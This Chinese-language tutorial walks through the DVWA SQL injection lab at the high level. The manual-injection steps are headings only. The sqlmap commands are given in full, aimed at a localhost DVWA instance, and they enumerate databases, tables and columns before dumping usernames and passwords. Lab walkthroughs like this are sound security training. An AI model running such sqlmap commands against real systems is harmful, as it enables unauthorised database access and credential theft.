手工注入
判断注入类型
由以上两个回显可知，该注入类型为字符型注入。
判断注入点个数
由以上两个回显可知，注入点个数为两个。
爆库名
爆表名
爆列名
爆字段
sqlmap注入
查看是否存在注入点
python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/" --data "id=1"
存在注入点。
爆库名
python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/" --data "id=1" --dbs
爆表名
python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/" --data "id=1" -D dvwa --tables
爆列名
python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/" --data "id=1" -D dvwa -t users --columns
-D、-T为大写或小写均可
爆字段
python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/" --data "id=1" -D dvwa -T users -C user,password --dump
总结
以上为DVWA之SQL注入—high level解题简析，使用手工注入及sqlmap分享SQL攻击知识。
后续会分享DVWA之SQL注入—Impossible level代码审计。
我是秋说，我们下次见。
